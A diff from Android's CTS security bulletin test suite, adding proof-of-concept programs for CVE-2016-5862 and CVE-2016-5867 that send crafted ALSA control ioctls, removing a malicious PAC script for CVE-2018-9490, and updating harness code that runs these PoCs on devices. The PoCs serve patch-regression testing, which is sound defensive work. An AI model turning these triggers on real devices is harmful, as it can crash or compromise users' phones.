+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
new file mode 100644
index 0000000..238bb0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/poc.c
@@ -0,0 +1,56 @@
+/*
+ * CVE-2016-5862
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define SPEAKER "Speaker Function"
+#define NUM_BLOCKS 16384
+
+unsigned int get_speakerid(int fd) {
+  unsigned int i;
+  int ret = -1;
+  unsigned int id = 0;
+  struct snd_ctl_elem_list lst;
+  memset(&lst, 0, sizeof(lst));
+  lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+  lst.space = NUM_BLOCKS;
+  ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+  if (ret < 0) {
+    return 0;
+  }
+  for (i = 0; i < lst.count; i++) {
+    if (!strncmp((const char *)lst.pids[i].name, SPEAKER,
+                 (sizeof(SPEAKER) - 1))) {
+      id = lst.pids[i].numid;
+      break;
+    }
+  }
+  free(lst.pids);
+  return id;
+}
+
+int main(){
+  int fd = -1;
+  struct snd_ctl_elem_value control;
+  fd = open("/dev/snd/controlC0", O_RDWR);
+  if(fd < 0) {
+    return EXIT_FAILURE;
+  }
+  memset(&control, 0, sizeof(control));
+  control.id.numid = get_speakerid(fd);
+  if(control.id.numid == 0) {
+    close(fd);
+    return EXIT_FAILURE;
+  }
+  ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
+  close(fd);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
new file mode 100644
index 0000000..d7f4ae9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.mk
@@ -0,0 +1,16 @@
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-5867
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
new file mode 100644
index 0000000..c8e4a20
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/poc.c
@@ -0,0 +1,63 @@
+/*
+ * CVE-2016-5867
+ */
+
+#include "../includes/common.h"
+#include <fcntl.h>
+#include <sound/asound.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define DOLBY_SET_PARAM "DS1 DAP Set Param"
+#define NUM_BLOCKS 16384
+#define DOLBY_PARAM_ID_VDHE 0x0001074D
+#define TOTAL_LENGTH_DOLBY_PARAM 745
+
+unsigned int get_doblycontrolid(int fd) {
+  unsigned int i;
+  int ret = -1;
+  unsigned int id = 0;
+  struct snd_ctl_elem_list lst;
+  memset(&lst, 0, sizeof(lst));
+  lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
+  lst.space = NUM_BLOCKS;
+  ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
+  if (ret < 0) {
+    return 0;
+  }
+  for (i = 0; i < lst.count; i++) {
+    if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
+                 (sizeof(DOLBY_SET_PARAM) - 1))) {
+      id = lst.pids[i].numid;
+      break;
+    }
+  }
+  free(lst.pids);
+  return id;
+}
+
+int main(){
+  int fd = -1;
+  struct snd_ctl_elem_value control;
+  int ret;
+  fd = open("/dev/snd/controlC0", O_RDWR);
+  if(fd < 0) {
+    return EXIT_FAILURE;
+  }
+  memset(&control, 0, sizeof(control));
+  control.id.numid = get_doblycontrolid(fd);
+  if(control.id.numid) {
+    control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
+    control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
+    ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
+    if(ret == 0) {
+      close(fd);
+      return EXIT_VULNERABLE;
+    }
+  }
+  close(fd);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp
deleted file mode 100644
index faa1a0f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-// Copyright (C) 2018 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_test {
-    name: "CVE-2018-9490",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp"],
-    shared_libs: ["libpac"],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
deleted file mode 100644
index c6d332a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <memory>
-#include <proxy_resolver_v8_wrapper.h>
-
-#define URL u""
-#define HOST u""
-#define SCRIPT \
-    u"function FindProxyForURL(url, host){\n" \
-    "    alert(\"enter\");\n" \
-    "    let arr = [];\n" \
-    "    arr[1000] = 0x1234;\n" \
-    "\n" \
-    "    arr.__defineGetter__(256, function () {\n" \
-    "            delete arr[256];\n" \
-    "            arr.unshift(1.1);\n" \
-    "            arr.length = 0;\n" \
-    "            });\n" \
-    "\n" \
-    "    Object.entries(arr).toString();\n" \
-    "    alert(JSON.stringify(entries));\n" \
-    "\n" \
-    "    return 0;\n" \
-    "}\n"
-
-int main(void) {
-  auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
-          ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
-  ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
-  auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
-          resolver.get(), URL, HOST), &free);
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
new file mode 100644
index 0000000..85b8422
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
@@ -0,0 +1,144 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "omxUtils.h"
+
+sp<IMediaPlayerService> mediaPlayerService = NULL;
+sp<IOMXNode> mOMXNode = 0;
+sp<IOMX> mOMX;
+omx_message msg;
+Mutex mLock;
+Condition mMessageAddedCondition;
+int32_t mLastMsgGeneration;
+int32_t mCurGeneration;
+List<omx_message> mMessageQueue;
+
+struct CodecObserver : public BnOMXObserver {
+ public:
+    CodecObserver(int32_t gen)
+            : mGeneration(gen) {
+    }
+
+    void onMessages(const std::list<omx_message> &messages) override;
+    int32_t mGeneration;
+
+ protected:
+    virtual ~CodecObserver() {
+    }
+};
+void handleMessages(int32_t gen, const std::list<omx_message> &messages) {
+    Mutex::Autolock autoLock(mLock);
+    for (std::list<omx_message>::const_iterator it = messages.cbegin();
+            it != messages.cend();) {
+        mMessageQueue.push_back(*it++);
+        mLastMsgGeneration = gen;
+    }
+    mMessageAddedCondition.signal();
+}
+void CodecObserver::onMessages(const std::list<omx_message> &messages) {
+    handleMessages(mGeneration, messages);
+}
+
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs) {
+    int64_t finishBy = ALooper::GetNowUs() + timeoutUs;
+    status_t err = OK;
+
+    while (err != TIMED_OUT) {
+        Mutex::Autolock autoLock(mLock);
+        if (mLastMsgGeneration < mCurGeneration) {
+            mMessageQueue.clear();
+        }
+        // Messages are queued in batches, if the last batch queued is
+        // from a node that already expired, discard those messages.
+        List<omx_message>::iterator it = mMessageQueue.begin();
+        while (it != mMessageQueue.end()) {
+            *msg = *it;
+            mMessageQueue.erase(it);
+            return OK;
+        }
+        if (timeoutUs < 0) {
+            err = mMessageAddedCondition.wait(mLock);
+        } else {
+            err = mMessageAddedCondition.waitRelative(
+                    mLock, (finishBy - ALooper::GetNowUs()) * 1000);
+        }
+    }
+    return err;
+}
+void omxUtilsCheckCmdExecution(char *name) {
+    status_t err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+    if (err == TIMED_OUT) {
+        ALOGE("[omxUtils] OMX command timed out for %s, exiting the app", name);
+        exit (EXIT_FAILURE);
+    }
+}
+void omxExitOnError(status_t ret) {
+    if (ret != OK) {
+        exit (EXIT_FAILURE);
+    }
+}
+status_t omxUtilsInit(char *codecName) {
+    android::ProcessState::self()->startThreadPool();
+    using namespace ::android::hardware::media::omx::V1_0;
+    sp<IOmx> tOmx = IOmx::getService();
+    if (tOmx == nullptr) {
+        return NO_INIT;
+    }
+    mOMX = new utils::LWOmx(tOmx);
+    sp<CodecObserver> observer = new CodecObserver(++mCurGeneration);
+    return mOMX->allocateNode(codecName, observer, &mOMXNode);
+}
+status_t omxUtilsGetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params) {
+    InitOMXParams(params);
+    params->nPortIndex = portIndex;
+    return mOMXNode->getParameter(OMX_IndexParamPortDefinition, params,
+                                  sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params) {
+    InitOMXParams(params);
+    params->nPortIndex = portIndex;
+    return mOMXNode->setParameter(OMX_IndexParamPortDefinition, params,
+                                  sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetPortMode(OMX_U32 portIndex, IOMX::PortMode mode) {
+    return mOMXNode->setPortMode(portIndex, mode);
+}
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+                           android::BnOMX::buffer_id *buffer) {
+    return mOMXNode->useBuffer(portIndex, omxBuf, buffer);
+}
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param) {
+    int ret = mOMXNode->sendCommand(cmd, param);
+    omxUtilsCheckCmdExecution((char *) __FUNCTION__);
+    return ret;
+}
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+                             const OMXBuffer &omxBuf, OMX_U32 flags,
+                             OMX_TICKS timestamp, int fenceFd) {
+    return mOMXNode->emptyBuffer(buffer, omxBuf, flags, timestamp, fenceFd);
+}
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer,
+                            const OMXBuffer &omxBuf, int fenceFd) {
+    return mOMXNode->fillBuffer(buffer, omxBuf, fenceFd);
+}
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+                            android::BnOMX::buffer_id buffer) {
+    return mOMXNode->freeBuffer(portIndex, buffer);
+}
+status_t omxUtilsFreeNode() {
+    return mOMXNode->freeNode();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
new file mode 100644
index 0000000..16d7978
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -0,0 +1,87 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <ui/GraphicBuffer.h>
+#include <android/hardware/media/omx/1.0/IOmx.h>
+#include <android/hardware/media/omx/1.0/IOmxNode.h>
+#include <android/hardware/media/omx/1.0/IOmxObserver.h>
+#include <android/hardware/media/omx/1.0/types.h>
+#include <android/hidl/allocator/1.0/IAllocator.h>
+#include <android/hidl/memory/1.0/IMapper.h>
+#include <android/hidl/memory/1.0/IMemory.h>
+#include <android/IGraphicBufferSource.h>
+#include <android/IOMXBufferSource.h>
+#include <media/omx/1.0/WOmx.h>
+#include <binder/MemoryDealer.h>
+#include "HardwareAPI.h"
+#include "OMX_Component.h"
+#include <binder/ProcessState.h>
+#include <media/stagefright/foundation/ALooper.h>
+#include <utils/List.h>
+#include <utils/Vector.h>
+#include <utils/threads.h>
+#include <inttypes.h>
+#include <utils/Log.h>
+
+#define DEFAULT_TIMEOUT   5000000
+#define OMX_UTILS_IP_PORT 0
+#define OMX_UTILS_OP_PORT 1
+
+using namespace android;
+typedef hidl::allocator::V1_0::IAllocator IAllocator;
+
+template<class T>
+static void InitOMXParams(T *params) {
+    params->nSize = sizeof(T);
+    params->nVersion.s.nVersionMajor = 1;
+    params->nVersion.s.nVersionMinor = 0;
+    params->nVersion.s.nRevision = 0;
+    params->nVersion.s.nStep = 0;
+}
+struct Buffer {
+    IOMX::buffer_id mID;
+    sp<IMemory> mMemory;
+    hidl_memory mHidlMemory;
+    uint32_t mFlags;
+};
+
+status_t omxUtilsInit(char *codecName);
+status_t omxUtilsGetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetPortMode(OMX_U32 port_index, IOMX::PortMode mode);
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+                           android::BnOMX::buffer_id *buffer);
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param);
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+                             const OMXBuffer &omxBuf, OMX_U32 flags,
+                             OMX_TICKS timestamp, int fenceFd);
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer,
+                            const OMXBuffer &omxBuf, int fenceFd);
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+                            android::BnOMX::buffer_id buffer);
+status_t omxUtilsFreeNode();
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs);
+void omxExitOnError(status_t ret);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index e91e8f0..3e4f5b3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -20,6 +20,7 @@
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.BufferedOutputStream;
@@ -27,6 +28,7 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.concurrent.TimeoutException;
 import java.util.List;
 import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
@@ -36,7 +38,10 @@
 import org.json.JSONException;
 import org.json.JSONObject;
 
+import java.util.regex.Pattern;
+import java.lang.Thread;
 import static org.junit.Assert.*;
+import junit.framework.Assert;
 
 public class AdbUtils {
 
@@ -57,7 +62,7 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @return the console output from the binary
      */
@@ -69,15 +74,35 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
      */
     public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
+        return runPoc(pocName, device, timeout, null);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments the input arguments for the poc
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
+            throws Exception {
         device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
+        if (arguments != null) {
+            device.executeShellCommand("/data/local/tmp/" + pocName + " " + arguments, receiver,
+                    timeout, TimeUnit.SECONDS, 0);
+        } else {
+            device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
+                    TimeUnit.SECONDS, 0);
+        }
         String output = receiver.getOutput();
         return output;
     }
@@ -85,16 +110,35 @@
     /**
      * Pushes and runs a binary to the selected device and ignores any of its output.
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
     public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
             throws Exception {
+        runPocNoOutput(pocName, device, timeout, null);
+    }
+
+    /**
+     * Pushes and runs a binary with arguments to the selected device and
+     * ignores any of its output.
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments input arguments for the poc
+     */
+    public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
+            String arguments) throws Exception {
         device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         NullOutputReceiver receiver = new NullOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
-                TimeUnit.SECONDS, 0);
+        if (arguments != null) {
+            device.executeShellCommand("/data/local/tmp/" + pocName + " " + arguments, receiver,
+                    timeout, TimeUnit.SECONDS, 0);
+        } else {
+            device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
+                    TimeUnit.SECONDS, 0);
+        }
     }
 
     /**
@@ -198,9 +242,17 @@
      * Utility function to help check the exit code of a shell command
      */
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
-      return Integer.parseInt(
-          AdbUtils.runCommandLine( "(" + cmd + ") > /dev/null 2>&1; echo $?",
-            device).replaceAll("[^0-9]", ""));
+        long time = System.currentTimeMillis();
+        String exitStatus = runCommandLine(
+                "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
+        time = System.currentTimeMillis() - time;
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -230,11 +282,18 @@
             throws Exception {
         device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
-                                   receiver, timeout, TimeUnit.SECONDS, 0);
-
-        String exitStatus = receiver.getOutput().replaceAll("[^0-9]", "");
-        return Integer.parseInt(exitStatus);
+        String cmd = "/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?";
+        long time = System.currentTimeMillis();
+        device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
+        time = System.currentTimeMillis() - time;
+        String exitStatus = receiver.getOutput().trim();
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -268,8 +327,7 @@
     public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
             String... processPatternStrings) throws Exception {
         AdbUtils.runCommandLine("logcat -c", device);
-        // account for the poc timer of 5 minutes (+15 seconds for safety)
-        AdbUtils.runPocNoOutput(pocName, device, 315);
+        AdbUtils.runPocNoOutput(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
         assertNoCrashes(device, processPatternStrings);
     }
 
@@ -322,5 +380,40 @@
             } catch (JSONException e) {}
         }
         fail(error.toString());
+     }
+
+    /**
+     * Executes a given poc within a given timeout. Returns error if the
+     * given poc doesnt complete its execution within timeout. It also deletes
+     * the list of files provided.
+     *
+     * @param runner the thread which will be run
+     * @param timeout the timeout within which the thread's execution should
+     *        complete
+     * @param device device to be ran on
+     * @param inputFiles list of files to be deleted
+     */
+    public static void runWithTimeoutDeleteFiles(Runnable runner, int timeout, ITestDevice device,
+            String[] inputFiles) throws Exception {
+        Thread t = new Thread(runner);
+        t.start();
+        boolean test_failed = false;
+        try {
+            t.join(timeout);
+        } catch (InterruptedException e) {
+            test_failed = true;
+        } finally {
+            if (inputFiles != null) {
+                for (String tempFile : inputFiles) {
+                    AdbUtils.runCommandLine("rm /data/local/tmp/" + tempFile, device);
+                }
+            }
+            if (test_failed) {
+                fail("PoC was interrupted");
+            }
+        }
+        if (t.isAlive()) {
+            Assert.fail("PoC not completed within timeout of " + timeout + " ms");
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index d866a5a..d8df1c6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -37,6 +37,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-05")
     public void testPocCVE_2015_1805() throws Exception {
-      AdbUtils.runPoc("CVE-2015-1805", getDevice(), 300);
+      AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..b414a55
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,29 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc16_06 extends SecurityTestCase {
+    /**
+     *  b/27661749
+     */
+    @SecurityTest(minPatchLevel = "2016-06")
+    public void testPocCVE_2016_2482() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2482", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index a0aecc5e..b634645 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -42,4 +42,13 @@
     public void testPocCVE_2014_9803() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
     }
+
+    /**
+     * b/27903498
+     */
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2016_3747() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3747", getDevice(), "mediaserver");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 179b0cb..f61e843 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -27,7 +27,7 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
             // CTS begins the next test before device finishes rebooting,
             // sleep to allow time for device to reboot.
             Thread.sleep(70000);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index 7db0580..70e224a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -50,4 +50,24 @@
             }, null);
         }
     }
+
+    /*
+     * CVE-2016-5862
+     */
+    @SecurityTest(minPatchLevel = "2017-05")
+    public void testPocCVE_2016_5862() throws Exception {
+        if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPocNoOutput("CVE-2016-5862",getDevice(), 60);
+        }
+    }
+
+    /**
+     * CVE-2016-5867
+     */
+    @SecurityTest(minPatchLevel = "2017-05")
+    public void testPocCVE_2016_5867() throws Exception {
+        if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2016-5867", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 131b580..fed0ab5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
     @SecurityTest(minPatchLevel = "2017-12")
     public void testPocCVE_2017_6262() throws Exception {
         if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 0423b37..dfc3de0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -42,7 +42,7 @@
      */
     @SecurityTest
     public void testPocCVE_2018_9490() throws Exception {
-        int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+        int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
         assertTrue(code != 139); // 128 + signal 11
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index 1615947..b9be0af 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
